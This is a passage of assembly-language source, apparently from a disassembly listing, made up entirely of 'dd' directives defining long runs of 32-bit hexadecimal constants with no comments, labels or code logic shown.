9F226EDCh, 0CC65AC47h dd 7D87EAA3h, 0AF2CD67Ch, 8AC495Ah, 44CBA70h, 1DCC492Ah dd 0A6313398h, 0B49A7AF8h, 9CC00123h, 38CA35D1h, 8604EDFAh dd 7A757348h, 3F4C71FAh, 0E09DB10Eh, 5BE6C620h, 0A531B48Eh dd 0C40FCE78h, 91FB979h, 0B72A7654h, 592326C0h, 6C2F9F7Bh dd 364D8DCFh, 7F3E0024h dd 0BE8A4777h, 7865D5DCh, 552890F9h, 31EEB1CBh, 31B466CAh dd 0E44BFE64h, 0BD344BB8h, 9CC4C4EEh, 9C8C75Eh, 0F540015Bh dd 7A6D851h, 0EBADBDE6h, 85616B8Eh, 0C062413Dh, 0C92F6210h dd 4C65BF84h, 8C8A7120h, 24B4B05Ch, 624C5AFBh, 0CBAE515Eh dd 6631157Eh, 0A7C476A7h, 166FE8F9h, 0BA2D6DC9h, 77BC6AA8h dd 0B94E5BE0h, 0F3592F05h, 290C8DFEh, 439039FFh, 81DC86CFh dd 0C7614EEBh, 5DACE068h, 87EFEEh, 2AE7D610h, 0C6EC9524h dd 0CF7E5707h, 0D98A3E65h, 1828ABE2h, 0A6F73BF5h, 0F729B953h dd 453DC0C3h, 5844C004h, 0B22DF53Bh, 5436AE53h, 554C47A2h dd 0C58262ADh, 96B0C72Ah, 16FC49D3h, 0B6F29C90h, 8CAE038Fh dd 3006D967h, 0BB655A08h, 3D27D987h, 38A09660h, 0BBF0373Ch dd 9B2B359Fh, 0F8C9C097h, 0DADBA6A9h, 56E33AC4h, 7AF70B9h dd 9E9343E0h, 324EF4FFh, 2AD1DC4h, 888AAD80h, 0AE17A3Eh dd 0B88173B2h, 0DA79F55Eh, 9CF57CB8h, 0F0F2C8B2h, 0B540F952h dd 5EFB6B6Bh, 420D8B69h, 0A8EE2853h, 0B6A75C77h, 0DDE5E08Fh dd 0BA55AD03h, 0C4842445h, 0D5B76CBCh, 7F989D79h, 54CB73Dh dd 54199617h, 6413A163h, 302EC4B0h, 321ABABEh, 22990BFEh dd 0B15E7506h, 82B547A7h, 93E34B7Dh, 0A44DE284h, 409ADC8Bh dd 7AD361Ch, 464C72E7h, 715F8A9h, 8365804Ch, 54ECE975h dd 4E9FBD3Bh, 0DCB7C5ABh, 4C54BD3Ch, 98F65128h, 559E1520h dd 14C768Fh, 952BAC38h, 752772Bh, 0DC6DA8A8h, 0C977E0DCh dd 0DBFFF308h, 86FC508Ch, 7940EBEBh, 0CE18C8FEh, 0BB720AF9h dd 32F099DDh, 38B5CE2Eh, 6C1664A7h, 9F294303h, 8A105CE0h dd 0DA2D2239h, 3E9C7B28h, 0B19E77AEh, 0FFF96E7Ch, 0BA7F505Bh dd 3DBE3860h, 0C4345CF8h, 861DCB1Ah, 618D2DD0h, 416A7BE7h dd 8F1A0610h, 0BE1F720Eh, 0C7C51DABh, 625908A8h, 7D98FCFBh dd 5A36F27Dh, 63B096F3h, 2DCDCE9Dh, 0DE2C703Dh, 1D648664h dd 3A3F7EEh, 13EACC5Eh, 0A56475C5h, 0D4C2B10Eh, 7A5A55C1h dd 0B5201DFAh, 1C667438h, 0DDDBC340h, 675ACFD0h, 0EB662268h dd 3CB53457h, 0D3D107F6h, 6D9AC484h, 0D6482DE6h, 0B6EF1A74h dd 88BF4219h, 0BF604DBDh, 820C5056h, 3424D5FBh, 0CB7B6851h dd 0D433D11Bh, 7C65C5DEh, 1228041Ch, 0A9E1207Bh, 35DBE4C9h dd 0C4288002h, 33CC426h, 6836C92Eh, 0D4A5E70Dh, 0BCAE64BDh dd 0A20EA64Eh, 0D53C21FBh, 0EBED5CE0h, 7CB3AFE8h, 13991CDCh dd 539F5DCFh, 0E3056C1Dh, 0B4707C8Fh, 9832AEh, 93671788h dd 78D49ACFh, 6B78CF5Bh, 62E6FFF4h, 0B51B0839h, 0EB9FA7FCh dd 4BA30BF7h, 0AC9AC710h, 0DF05E0F8h, 0B2875821h, 24E89BA2h dd 0B2B4E4E5h, 0BED99CD2h, 64281DCEh, 0CA3C72A4h, 0D4043AC7h dd 0B7047EF6h, 953C58DFh, 0B90B64D0h, 0DC6712Bh, 88065CD5h dd 0E5B60B12h, 3E477D59h, 0B24177ADh, 0FA8ACC64h, 3C875088h dd 9E9AFFFEh, 0D3E74575h, 0B78A974Ch, 81634C77h, 43BE9457h dd 0DDB2FEDCh, 4D9E34DCh, 0D92193B1h, 0BA630251h, 83D0B6F8h dd 6E652467h, 0BE3CAC9Ah, 0D0C1BE78h, 73CEBBE6h, 470F9161h dd 50984677h, 5F1E2247h, 0ACC16112h, 0B8CB3CA1h, 0C470B409h dd 0E9A10846h, 9B2BBDE3h, 0F1A994FFh, 9CD8573Ch, 8C9FAFDAh dd 20487382h, 0F90B49Ch, 1240AF21h, 24CF7AFEh, 0FED570A1h dd 3C6CAED2h, 7DF509F3h, 0F8E5F3F5h, 24127C9Eh, 0FEC245CFh dd 0D2D76CFh, 0DFD6FDFEh, 2B145CBFh, 0D306B5EFh, 0BC70A463h dd 20095ADEh, 0F510E7CEh, 0A0668E8h, 932C1247h, 0CF007D50h dd 0C3D76B37h, 74C5B5DEh, 0B58780C7h, 0D02E5671h, 0A746F784h dd 2A209502h, 5CACFEACh, 40F5FA75h, 0D7A615E8h, 696D812Ch dd 37268882h, 0F75286E0h, 29AF48ACh, 94F52230h, 0DF8ABB9Eh dd 1CF675E5h, 0EF4A79F7h, 3DF534F2h, 0E9C3F931h, 43A4862Ch dd 0A2730597h, 0DD890399h, 0A43B3026h, 65867975h, 577B7BC8h dd 0FB3BF2D0h, 0DA9BD1FCh, 0BA8FDDCh, 2DF5B263h, 7DACDCF4h dd 0B19AA5CDh, 0CB930B69h, 43F6B5CCh, 0B88C47D6h, 0B048CD87h dd 2F197EB3h, 67D9CC68h, 5874BB5h, 0C7A64A04h, 586D3CBEh dd 7A4CF964h, 4382B56Bh, 8D75FC6Eh, 829671BDh, 18F176C0h dd 327AC2C3h, 4208A165h, 0F7045BC9h, 200C8FCCh, 0BD68AC08h dd 5F71C9F8h, 44C9F510h, 0E489D1Dh, 9307BD37h, 34F277C6h dd 0B6EC32E7h, 0E84C646Eh, 0DF94A508h, 0AEBFCE1Ah, 0D0E0B44Fh dd 24EC6637h, 0ABA4CCDAh, 0F8CC51CEh, 2221ADC3h, 50EEFD3Ch dd 24CE264h, 0FD1658C2h, 0E13D1Ah, 6E89A450h, 764C6668h dd 8A6832B3h, 7B2EEF18h, 255681FEh, 0A090D8FCh, 7D92B279h dd 21EAF620h, 0F875015Fh, 50F689C8h, 23011D33h, 4D78B350h dd 7F36F156h, 7C9A2CFCh, 9C8CAEC4h, 29B7C99Ah, 0C2F5B5FDh dd 0D4D591BBh, 0BE00FEF9h, 0BDF2B83Eh, 9B82BCE4h, 0A378012Bh dd 7B322847h, 141C643Bh, 0CE861DCBh, 0AD9561DCh, 914AF39h dd 0B0A6D3A6h, 0E64C7725h, 3AE49EADh, 2E8FD07h, 1C3F70F6h dd 0EA4C635Fh, 26E2ECFEh, 6F07F3Eh, 1F4CE52Ah, 0CE2F459h dd 0D5AAD023h, 3860CC4Dh, 9EF50D05h, 8DB8EE56h, 42CE7220h dd 3098F4E7h, 9F037FBCh, 2716CF42h, 3C98730Eh, 0C5912DC0h dd 3CBFB4A8h, 19E1F80Dh, 68F3E325h, 348672F7h, 78A155E0h dd 8FA1DC4h, 45C960F2h, 6E901F2h, 7EA135C0h, 0B8E0FF58h dd 351ECB46h, 2F0FD0Bh, 0B37F7FF8h, 9F0E350Bh, 349E0DC8h dd 0C2F71B3Fh, 0B8E4BB28h, 4296624Ah, 0AB29C12Ch, 6C9CAA1Fh dd 976F11D5h, 679DE1A8h, 99C001DDh, 49E378A6h, 0FB34BD76h dd 3316437Bh, 9F0E75FAh, 9419F609h, 0CD885E6h, 1A4E2559h dd 832366ADh, 348307FCh, 0EB4AE753h, 13107456h, 9F055E39h dd 0CB7061FCh, 0C4B55E55h, 1188D6D7h, 2C80C829h, 82A04105h dd 8CC3F93Eh, 5C011DC0h, 57F5BA54h, 0FC723586h, 0DBF2D4B4h dd 0C4ACD752h, 0E002955h, 57ED9C54h, 962F8BC5h, 24776CF9h dd 0F9265A97h, 20408371h, 0DB4C67C3h, 1753677h, 0BEC825Eh dd 0FC9078FCh, 0AA2C70B7h, 9F0B1557h, 0E09C35CEh, 3491BC8Ch dd 0A5E70C40h, 0C698685Fh, 46A27Ch, 0E830FBFEh, 9F0BD505h dd 34828107h, 7DAEAA16h, 99C123D0h, 3CBD36CCh, 7688455Dh dd 8732D425h, 0C56B9B5Bh, 0CA96D2F5h, 0C636EA1Fh, 792E393Eh dd 0AF94E1F4h, 4204310Dh, 539CC4FEh, 9F1400F4h, 84ABD2B2h dd 5B3B708h, 5921FD17h, 29401AB9h, 0D09A1EE8h, 918C9E90h dd 0FFE930ACh, 0FC605964h, 3C91A7D8h, 0BCE6B137h, 60D86C5Ch dd 6911618h, 0F38B03C7h, 0D19B7A98h, 0F4002A7Ch, 0F89A08EDh dd 0ADF73A36h, 0D439177Ch, 23FC2ED9h, 54F84EC9h, 160E1DFCh dd 3479FD43h, 0B874C831h, 73AE16D1h, 68106D00h, 0A1866FEh dd 9050877Bh, 0C7017957h, 93DB1ECBh, 0B5063A02h, 7BF58557h dd 0FE4CC408h, 9C5E1E77h, 2A5A4994h, 0C703BD10h, 0C704651Ah dd 0BD2A1510h, 0FAACFC54h, 7201F80h, 2E659FBFh, 0F180396h dd 87256A12h, 1CF3B33Eh, 0D11962E0h, 6C8CCFFBh, 0B8A7B5E8h dd 9D6DEF8h, 0E3AFE729h, 0EDD8FCFCh, 0DBA4E491h, 4501D4A7h dd 288A05E8h, 438E8B84h, 0DE086FD6h, 2510BDAAh, 0C2F15D6Ah dd 3BF15557h, 0E807B33Fh, 0CC76D8E0h, 3F4CAE6Ch, 8D338741h dd 7655AC32h, 49E52AD2h, 7331751Ch, 0E3008444h, 6483AD60h dd 0E6B7F069h, 4228DFCFh, 8D5DE5Bh, 0FFCAE5FFh, 0D8F85FFEh dd 0CA8779Eh, 0F03CA83Eh dd 0FE4AC4FCh, 0C8306DABh, 0E5945C18h, 0C4022814h, 7DB9AF78h dd 7BD86B6Ch, 3DD10094h, 0A3108A99h, 0D9165E84h, 2108FDF5h dd 0DB2F0DEFh, 42D13D53h, 7A2BE987h, 46A17AEEh, 0B89976F4h dd 0BBF11EC5h, 0FFD17FCCh, 0C0A0C48Eh, 47FE7AD2h, 3898FDD8h dd 7D217ADEh, 0D5F7BBC4h, 0D230D12Ah, 0A73CA122h, 4FDE7AC9h dd 6B31DD09h, 7780CEEBh, 6498B1FDh, 2FD177EEh, 8EA8CD66h dd 6C08F45Ch, 0AD2FDE63h, 0E25EFD78h, 1CF1B469h, 0AF16274h dd 8C859BA2h, 0E23CB540h, 60CCFEE8h, 0C8B02DFEh, 13F44748h dd 7D3D4C3Fh, 99F645C4h, 6B17C33Fh, 1DECA427h, 0BAC2BBBEh dd 99CF64F7h, 34F1F794h, 6FB555CCh, 0C54E0B04h, 9D723F16h dd 25FC34EEh, 4859B699h, 0EA8F9DDh, 4AF5AEBDh, 0AF288999h dd 82A45CFh, 220E8C7Ch, 85C87EA6h, 8437A212h, 0CCB4C9D0h dd 9F19762Ah, 6BE2D8CBh, 0D4CCBDE4h, 595047C5h, 39880DE1h dd 782888Ch, 4A5DA478h, 0EA8E8FFEh, 0F2285856h, 0DF3C7436h dd 9F3F794Ch, 36FBE252h, 0EB7FED42h, 0B9F962D4h, 4ABC779Bh dd 0E94AE490h, 0FC64BD46h, 0C4A47751h, 0BBAF7743h, 0E48365D3h dd 894C5906h, 5D52ED9Bh, 0FDD06A19h, 4A8E3A92h, 5FF7631h dd 24E70F32h, 3425C24Fh, 0FCADFE32h, 686D776Bh, 80D979E5h dd 0BBEEAC09h, 58CB48Eh, 3CA0892Ah, 9DAF64E8h, 7976111Fh dd 0BA1FBE2Fh, 0A870D44h, 0A8EE896Fh, 0FC49A105h, 3FB4EB92h dd 0EE16DA9Eh, 0DBD934BFh, 360F3561h, 8A845767h, 42DD33C1h dd 0FD27FD12h, 69674F2Fh, 69A119Ah, 7CD1EDC4h, 60E0A802h dd 0BF2D79EBh, 0C2307FEAh, 381BFDD3h, 9300B47Bh, 0C2AF15ECh dd 392AFD2Eh, 6B6F4FDCh, 74F11D3h, 60F2383Ch, 0FF1EA02Ah dd 0F2D9880h, 1D5F0452h, 0B830B678h, 0D04FAD58h, 730B555Ch dd 10C54F84h, 1AA07A2Eh, 0FA96C71h, 5534AADDh, 1C48C589h dd 0EE765616h, 8E9DBAEFh, 0EA16C134h, 0DA0FBD4Ah, 25C224ADh dd 0AC6DCCF2h, 68084B5Ch, 39D7C3E7h, 424D04C7h, 0D370CAE6h dd 0C257153Dh, 34E310EBh, 0DF1838ADh, 153F0057h, 97A1EFACh dd 9C63DB12h, 0DD4FE25Bh, 0D8A2368Bh, 6389C93Fh, 42A271F6h dd 0E8EFF943h, 0EF212473h, 5CB7C146h, 0BF00E7FAh, 740BD2DAh dd 7680F584h, 0B5C13FD0h, 774C046Fh, 4035894Bh, 14DD0FC2h dd 2720A5FFh, 0EA1FB84Bh, 9AF6BF18h, 54E83DE6h, 0C38E842Fh dd 58EEA767h, 38079639h, 814C076Eh, 0F2E96144h, 5FB4E0FCh dd 0A0E7AA50h, 7BF0413Fh, 90889F5Bh, 4CC53DBFh, 0ED80498Eh dd 0B4A780A6h, 2DF6FDE8h, 5E566D3Ch, 7D2C865Bh, 34C40F2Bh dd 3DD1AA8Dh, 423937E9h, 335B2523h, 0C3CDD17Ch, 0BFDC06C8h dd 515A102Bh, 43F47F38h, 0A06A4A36h, 2C20B1FAh, 9D344D55h dd 0C3D8898Fh, 0FAFA7D61h, 0A74D2702h, 5132094Eh, 0D81977E8h dd 0FE3E7934h, 4EF57F4h, 0CA068130h, 7C824184h, 0BE1D7914h dd 1374CBEAh, 0C8AFB19Ah, 0A2C43518h, 6FC8861Bh, 4A4D563h dd 92F0B50Ah, 984E68F8h, 22EF0D2Ch, 9C47B50Eh, 0B43E9F37h dd 703079FDh, 218F6C3Ch, 0CB884527h, 2AA7DE2Ch, 0C0D156AAh dd 1BB0E9B0h, 692C6322h, 31AD53ADh, 0E236E957h, 28F3265Fh dd 87F64DE0h, 4218FF6Ch, 5F310F10h, 5583B6D0h, 0F244B2C3h dd 7C8F04Eh, 0DDD99094h, 0E98B7CC7h, 0B6B3797Eh, 0DF404956h dd 176C90DCh, 16E96F5Ch, 1821BA9Ch, 31387384h, 8E2BAAF8h dd 2A60D511h, 621F30ACh, 0FB14B12Ch, 42649F67h, 0C42D33E4h dd 0EC353028h, 3EAD024Ch, 9B1DC2E8h, 5A1CCC71h, 54E5AC2Ch dd 5F0E3812h, 220C1B47h, 5AB62B6h, 28BEBA61h, 0A17526BFh dd 3CD545EAh, 19A9A4E4h, 49D46A01h, 0BBE6B04Ch, 0CB4D1D30h dd 4787D500h, 0B9F62111h, 0D1F679C7h, 0B86B528h, 1AE9CD5h dd 5D7F47CCh, 33679D4Bh, 0FC34AD7Ch, 8584A484h, 34677162h dd 49233F83h, 0C77D22Ah, 7DEF6AE4h, 76B210E2h, 5EFAA70Ch dd 8C520543h, 34F1C5F1h, 7B34AA75h, 7779B039h, 0AEF81E0Ch dd 305CEA6Ah, 623564D5h, 0CDCD3194h, 6D9A2FFFh, 35BE0194h dd 577554B0h, 30E1FCF0h, 2F0DE79Ch, 7EE30DEEh, 0CD02B414h dd 0DCC21244h, 2CADDBBCh, 4714C03Eh, 6374534Dh, 5BC1159Ah dd 4C65BBD5h, 3872FC2Fh, 2AECE95Dh, 3B0FDBCAh, 4436EE87h dd 3593B30Ch, 9AB57885h, 0BCD86345h, 0DFA2157Dh, 0F684071Bh dd 938C1D3Ah, 0DC112DCBh, 0C9C636F8h, 6CF2DC04h, 2FB87DCh dd 0CA04D3A4h, 0F98485A9h, 0BA2CC569h, 0B410652Dh, 5844FFD5h dd 0CC5864h, 0D749F772h, 44F065DCh, 2BF26BE8h, 3216B8A7h dd 4B387A30h, 1F90FEAFh, 9BB8E5C6h, 55E5BA19h, 2AB04056h dd 0F4C17DE0h, 0A7C4AD31h, 0BE1070BEh, 1EB899F6h, 0F4CE07ABh dd 7C0A8430h, 0C89115DAh, 0C8A64A0h, 0FAD9724Ch, 0CB8089FCh dd 0A76D1F86h, 0BA14D5A9h, 0BAB89F3Ch, 51BFE8E9h, 0A7D093C7h dd 7C357DDCh, 8467B3FCh, 49D3C64Eh, 70BD274Ch, 0FAEA0AF0h dd 0DCEEEFC3h, 5AFEE3F3h, 3C5ACBA3h, 500ACC3Dh, 592AA604h dd 8AEF197Bh, 0B9D33CA7h, 0DA9CE92Bh, 0C3135D21h, 1138C7D4h dd 0C349F499h, 0E564647Ch, 7B257DD0h, 0D9C3732Eh, 6E28E0C4h dd 9ABCDF76h, 0B915E01Ah, 270569FAh, 5908F170h, 0C7336A5Eh dd 1496D1D8h, 77E72254h, 3848844Ch, 0A28060Bh, 57A84EA0h dd 9F00F488h, 808BE554h, 0FDBCE898h, 6500634h, 0CE03E7ABh dd 0BEB0C766h, 0DD9AEBF5h, 0AF347163h, 6D4C068Ch, 79949560h dd 194CF557h, 1F0DCD7Ch, 0CB20E1FFh, 7CA06038h, 0DC2159EFh dd 31304484h, 9F2286A9h, 0BA6C54C0h, 9F2374FAh, 0A71CFAF4h dd 0F84C7D5Ch, 0FB2B1660h, 50551DE7h, 0C2272DDFh, 904C7FE4h dd 0C7C64A5h, 0BCE31DE1h, 0A82715FCh, 4490E26Eh, 78255DF8h dd 544C7868h, 20A10D09h, 404C8AE2h, 7E188D3Eh, 867D1DFDh dd 0C48471F8h, 3BA8A084h, 9F358724h, 19295D3Ch, 84C64CFEh dd 44191CB7h, 0FD2A6DC4h, 0CB0D1DF9h, 0C925E52Eh, 3E4C71D7h dd 83E725D4h, 0C8FC7DFBh, 0C925952Eh, 0E04C73E4h, 0FAB4A771h dd 9F3374FAh, 0F5E480B4h, 9F076DC0h, 0DC8C70A8h, 0A44C6C4Ch dd 0C864B760h, 504C6F6Eh, 782575DCh, 7C4C6E68h, 2482F1C8h dd 6F4C69FFh, 0FCE04260h, 43C31DF3h, 3D4C6B51h, 21A75D64h dd 0B262E96Fh, 0D727A9CEh, 1F0DE440h, 7B356D6Ch, 55B81DE7h dd 0DA488432h, 7D2641F0h, 288B2061h, 14A5E8C3h, 5EE9081Fh dd 24F5D64Bh, 9F0FC9FFh, 2D81E287h, 0DF35E1F8h, 64F6BF3Fh dd 0C4906431h, 0C5CDE92Ch, 0D40671F8h, 44C075DDh, 0DCC84A5Ch dd 4F67BCFh, 3AA097CDh, 0C5E45CFCh, 85BBA9FCh, 0D310664Ch dd 0E6E666A0h, 232C55C9h, 179F4EFh, 0D9EE4E9Fh, 6D08B5CCh dd 60EF89F0h, 3E2C6C2Ah, 0D758B890h, 0A3B63B3h, 0D17F698Dh dd 0BD1691CDh, 513A40FAh, 0D3019724h, 1EE5640h, 98B0F8C3h dd 0FDE10AB7h, 57641D3Eh, 7CB5F132h, 0F09BB5DEh, 10E11820h dd 0AA24F5CDh, 0CB3377C7h, 9C66A12Ah, 7C8BEDEBh, 0FAD8809Fh dd 1CAEB024h, 0F8E074CCh, 0F0E6DDC5h, 0FCE86CC5h, 0ECE281D9h dd 0DAE121D4h, 3F0CE40h, 0A582BF45h, 3828B69Fh, 3922F79Bh dd 511491CCh, 4070BBE3h, 23263168h, 654C66CCh, 58B38F8Eh dd 0DA5A7824h, 0C9F9BAE2h, 0CC296E7Fh, 0ECED6132h, 7C93B131h dd 0A8EBEAB6h, 0B5D0643Ah, 0D6381DCFh, 3F3666C9h, 0B5E05621h dd 4CE16226h, 30BA64E6h, 48A06D7Ch, 0C40659EEh, 95812584h dd 652BF285h, 1A6A8468h dd 0A3054926h, 5B4C61AFh, 0D18F66CDh, 21ED6C28h, 0AAA0E5C9h dd 0CB025D29h, 3A911A8Dh, 395F41C8h, 641E9907h, 9596F33Eh dd 692FEB80h, 9F010165h, 431189C3h, 0A5520026h, 0FB548D01h dd 118D53Ah, 2C148168h, 3F511DCAh, 49588149h, 0C0967619h dd 23E12D90h, 0AA2E9868h, 0D0B44E1Bh, 0DF45BD64h, 0D53BCF84h dd 1F0635AFh, 11BF93CAh, 843D19C3h, 0E70C6CFBh, 2B5A0A88h dd 0F4205A37h, 562AE0AFh, 0FBB27DE3h, 0F8782D90h, 3D80EACEh dd 36142BC4h, 0CEF138A8h, 0D16D76EAh, 4368E1E7h, 0EA282DC5h dd 1926B170h, 64E0A7A4h, 79F9D5C7h, 0D518F50Ah, 7EA97C12h dd 84DE7580h, 40EFF793h, 0BC4C5FEBh, 0D1808D4Dh, 67FAF168h dd 0DDBF3A6Bh, 3021C32Fh, 560DE208h, 0C83483DDh, 4483783Eh dd 46A9194Dh, 8845B408h, 4C5E2Eh, 20ECE252h, 0BCC246BAh dd 0D7736E2Ch, 0F8AC4CCEh, 29B2F8C3h, 13970CFCh, 5E3B719Fh dd 21B093F5h, 0D10B644Dh, 0BBB24A45h, 0E84071DDh, 0A9BB7535h dd 0C8D80DE3h, 7D607924h, 44B55DC2h, 14F06470h, 4D6A1DDDh dd 0FC1FF463h, 0DC87FB63h, 2440E729h, 7831B447h, 9245E972h dd 78BC7979h, 57A9EF82h, 7C802796h, 0DA7FE524h, 25ECDD5Dh dd 46A7D88Ah, 0D5877839h, 9F16A430h, 4F1B6BC6h, 12ED82A8h dd 9F17D48Ah, 78B9BD8Eh, 0EF46F6D5h, 4C4D7F4Dh, 0CCFC2C49h dd 6560D0F4h, 0C71DBC7Bh, 0FFEFF6Dh, 0CEB02686h, 0AF112928h dd 0DDBE47ECh, 29C4DE00h, 41BC8584h, 0CA47184Dh, 232A8A52h dd 0FE05322h, 7D8FDAD5h, 0AA61F760h, 0A21A5ED2h, 2E5FD8A5h dd 1DF6E2D4h, 4400555Bh, 0B34C4D8Ch, 2F26FA77h, 2EBC2C84h dd 0CA83433Eh, 0AC8746Ah, 444C74D7h, 45422470h, 27AF1D4h dd 8D80F276h, 59286DE4h, 7F1BB64Ah, 2A8670C1h, 2D00E975h dd 7F6CB476h, 4C3E1CAEh, 0FF2FA54Eh, 0E4131DD1h, 49060B48h dd 52C7512h, 9F187D62h, 3B55E982h, 0E4254FE7h, 1F7E257h dd 0BADBB4AFh, 736571C8h, 0C9B59277h, 0A591F28Bh, 45D3F239h dd 0AA4F3E48h, 4F24A4D3h, 36ADACC5h, 6DB20568h, 28A15A92h dd 37939DFEh, 53E30574h, 45B8F4A1h, 47834B35h, 45CF1240h dd 44080A4h, 0F4C5451Eh, 34046B75h, 4EACF025h, 0CAD9FB68h dd 3535DDA1h, 52B4743Fh, 6CB4238Fh, 4F66E246h, 3E83D37Bh dd 8DB5ADEBh, 3A368565h, 840EF9Dh, 0D74AC4C8h, 4AB59275h dd 5318ABE6h, 0D55ADE9Fh, 29361E6Ah, 9CE18470h, 0CE3AEF98h dd 126EFA27h, 485F5E10h, 49CDA770h, 9E6EF79Dh, 0BCA7473Ah dd 9CE286A0h, 454BF310h, 4D4C42EEh, 0FE065378h, 5AB2777Bh dd 3C429DFFh, 5BF61DC1h, 9FAAE28Eh, 5BFC707Fh, 9359C289h dd 2DA0D77Fh, 0C5ED693Ch, 9AB23784h, 4A07C426h, 1335DE31h dd 0BF9A7D78h, 6AF341FCh, 4CBF8021h, 0F35FDE14h, 0BA835A10h dd 0A392F643h, 2CE96E2Ah, 3DB083B1h, 98FE7220h, 224CA561h dd 0B5B5EE7Bh, 16EC1D23h, 0B8914A45h, 0AFDBC7Ah, 0F74CBB5Ch dd 8ABF225h, 0FDB59755h, 6FDBE150h, 0A9F6F451h, 0AAA3F527h dd 9CEB64BCh, 459FF164h, 0E81DEA0h, 0CB6CE77Eh, 0BF62FB2Eh dd 42F575D9h, 0AA5CE733h, 6FF0FC60h, 43F6647Fh, 1A48F0B4h dd 116C8E81h, 5BAEAB75h, 2739B558h, 77B00A78h, 8C4600Eh dd 0DBC5AFDFh, 1F0D8301h, 9D32B2BEh, 0CE21B1D7h, 9CF7FD0Ch dd 8B836CCh, 0B418CE3Ch, 0DF509D37h, 280B428h, 760EBB66h dd 4806D43Bh, 49068570h, 67EE8D68h, 179BF1FCh, 0A40CD555h dd 0FEA24D19h, 0B07BA7B4h, 0D5B48B37h, 63DF48Eh, 48E720F0h dd 0F83C9A5Eh, 0B8E6F9E4h, 0AB3FBA8Eh, 0C733E61Eh, 98BC3DC3h dd 0C3055B6Eh, 0BB20B564h, 79F8590Fh, 0C5C61ECDh, 3AE53F77h dd 0D56EB138h, 0D42143C1h, 0C08D94CDh, 0F105FB18h, 0C0ACAC79h dd 0D42F43C4h, 0DA09CB3h, 3E447905h, 0D5985CE4h, 9346F17Eh dd 3A05612Ah, 0BB27CB64h, 0F5495874h, 7F3B64E2h, 686001E5h dd 0FAE7A5C0h, 0D5A90E68h, 0BD3D0053h, 0F5AC64FAh, 4F162DA8h dd 78086DEAh, 0AB56AD7Ch, 43235FF4h, 0DC6C7D2Eh, 9428FA17h dd 9B34032Ah, 0FA64E47Eh, 7CCF64E2h, 0B4600219h, 44A3DDC0h dd 99993D25h, 65F5FA70h, 0D92D7859h, 2C1F2860h, 73F3B808h dd 0F584752Bh, 4D3D068Eh, 10F357B2h, 56A395C8h, 9A35A7B2h dd 0ECFD51A4h, 0B2E768AEh, 7F2759FFh, 0FAECADFDh, 0BCB27565h dd 4548271Bh, 83BDAD88h, 28395252h, 0B5A57DDCh, 0B4A2A03h dd 4B94566h, 38C04004h, 75154A8Fh, 0DDEEF9C0h, 7CAF11FFh dd 25C5415Ah, 0D42EA190h, 2F6821E9h, 0DBE04B1Bh, 970CA6B4h dd 5CAEFE29h, 0D500A120h, 0C3CE6CFBh, 1B0DD2C7h, 787F966Dh dd 0DAAA1928h, 46E773CFh, 4A40B2A4h, 0AA3DC6CEh, 98C164E1h dd 0F5C092C3h, 8FC1EF24h, 11915C0h, 708B3F61h, 43B08B17h dd 475EBAB9h, 0C9D467D3h, 0DBF81D38h, 0CBF9E0A7h, 0BEE8662Fh dd 10A91C8h, 0A4CB03Ch, 557863DBh, 64ACE57Fh, 90137BDh dd 1B026454h, 0DDDE56ACh, 0DADBF63Bh, 0A2DCD27h, 39AC8284h dd 7E3DA638h, 4FD05D33h, 7E22D91Fh, 0E9D78DD1h, 497A8322h dd 9AA321F9h, 923FFC02h, 844C00AEh, 0A047196Ah, 42A2BA50h dd 7EF02AE6h, 4895568Eh, 0D0F4B6Ah, 9AA285F9h, 7EC8D46Eh dd 6E8E5ED2h, 8AAE833Dh, 0ECA240A8h, 5B14D896h, 0F57464F8h dd 0D04C770Fh, 2CC4BF7h, 82A2BAE4h, 7950C11Eh, 9488EE90h dd 0BA6E803Dh, 0F0A238A8h, 129CD886h, 0B836FF6Bh, 328C8048h dd 79FEF540h, 7061A766h, 0A0AEDD6Bh, 42A1AF04h, 79F0C05Eh dd 34892F44h, 0FA6F8036h, 22FD8061h, 0A9A16D34h, 0FE09BA50h dd 1FD0A06Bh, 50FDE999h, 8E432A37h, 83DDB2A8h, 0CACA6C77h dd 0AE36D185h, 49002768h, 0BCFE065Ah, 0CE5DE56Dh, 0D5F4A7C2h dd 0B9F3AB0Dh, 0AE34E577h, 3768DCEBh, 0B290CAEFh, 9C55A4ACh dd 0EBA1BE81h, 0BE1F03ACh, 9F940215h, 0C72BE619h, 0FDA2EDE2h dd 6F9C0163h, 81B1015Ah, 7699473Ch, 0A92DECEDh, 2532876Eh dd 0BD444075h, 2352B53Ah, 87047D2Fh, 7825013Fh, 2A2793BEh dd 9A5C1ACh, 0EC65C7C1h, 0F4BB4BEEh, 0EC2D257Ch, 4EE3A84h dd 5C6D129Bh, 49F6795Dh, 0F4312394h, 0F48A14C1h, 0FA5AC7BDh dd 96A37384h, 0A390CED7h, 0A4497D25h, 0EAC516CBh, 0BDD4073Bh dd 7A20706Ch, 995C5480h, 0E8EE06D6h, 0DD429D44h, 0FBE6BB95h dd 270CC2FCh, 5C066D4h, 0DC5A6DF1h, 1F3C710Eh, 0AAF25E4h dd 0BD647684h, 0F6B4CDEEh, 6A34D621h, 3E78892Fh, 0F4EB11E4h dd 0B56C5EE0h, 861F0697h, 0A6A77AF6h, 0D4DBE6A1h, 0EC477A68h dd 0CE067E19h, 93051AFBh, 0BC5413EEh, 8CE77DF1h, 90278406h dd 2B55B6E9h, 29356665h, 0D9A84BF8h, 0DD5DB0E8h, 0DFA5BCE3h dd 7C38E1ECh, 592C028h, 8F360035h, 8501AD11h, 0D2B47D22h dd 220BCF3Fh, 25AC7F5Fh, 718484CDh, 0C95F186Eh, 0EA2B423Bh dd 40A2B296h, 0B43C6ABCh, 9CBA0696h, 8AD8BA56h, 4585EB95h dd 0EF284367h, 0D0638660h, 6685C2E9h, 0F804AAE8h, 340246Bh dd 0C9F8D672h, 0C0A5A961h, 1F7759BCh, 6B7307D1h, 0B008F83Dh dd 7E4B5C28h, 0BF4B462h, 749C5C5Fh, 0D0545705h, 23F6CD2Ch dd 8F4D3E3Bh, 53A45572h, 4D884584h, 8F196903h, 7DF438EFh dd 0FE8A5C38h, 966106D4h, 0B2BD559Fh, 2ED3352Ch, 0FA4368AFh dd 0BE0FBC3Ch, 62F65E3Eh, 18399922h, 0E0A2B63Eh, 0C8A95DEBh dd 0D6766CCDh, 0CCE5ADE2h, 0BD6306CFh, 18737490h, 0C322F739h dd 0E2074B5h, 0A357B9D1h dd 0CF2B9C14h, 3BFDF8EBh, 0F862867Fh, 0E5D167F8h, 0FCA84563h dd 4BB4E8Fh, 0FE535CA1h, 